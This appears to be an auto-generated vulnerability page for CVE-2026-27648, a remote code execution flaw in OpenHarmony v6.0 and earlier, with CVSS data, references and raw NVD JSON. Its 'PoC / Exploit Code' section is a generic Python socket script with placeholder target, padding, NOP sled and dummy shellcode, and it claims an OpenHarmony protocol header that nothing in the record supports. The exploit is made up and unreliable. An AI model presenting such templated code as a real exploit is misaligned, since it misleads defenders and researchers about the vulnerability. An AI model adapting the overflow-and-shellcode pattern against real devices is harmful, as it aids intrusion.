CVE-2026-27648

Description

in OpenHarmony v6.0 and prior versions allow a remote attacker arbitrary code execution in pre-installed apps.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenHarmony <= 6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# Target IP and Port (Placeholder)
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080

# Malicious payload (Conceptual buffer overflow or command injection)
# Payload designed to trigger RCE in pre-installed app context
payload = b"\x41" * 100  # Padding
payload += b"\x90" * 32   # NOP Sled
# Shellcode placeholder (exec /bin/sh or equivalent)
payload += b"\xcc" * 64

def trigger_vulnerability():
    """
    Function to exploit CVE-2026-27648
    Sends a crafted packet to the target OpenHarmony device.
    """
    try:
        # Establish connection
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TARGET_IP, TARGET_PORT))

        # Send malicious packet
        # Constructing the specific protocol header required by OpenHarmony service
        header = struct.pack(">I", len(payload))
        s.send(header + payload)

        print("[+] Payload sent successfully.")
        s.close()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    trigger_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27648
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27648
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27648/
[4] VulDB https://vuldb.com/cve/CVE-2026-27648
[5] https://gitcode.com/openharmony/security/tree/master/zh/security-disclosure/2026/2026-04.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27648", "sourceIdentifier": "[email protected]", "published": "2026-05-19T04:16:28.563", "lastModified": "2026-05-19T14:25:04.340", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "in OpenHarmony v6.0 and prior versions allow a remote attacker arbitrary code execution in pre-installed apps."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://gitcode.com/openharmony/security/tree/master/zh/security-disclosure/2026/2026-04.md", "source": "[email protected]"}]}}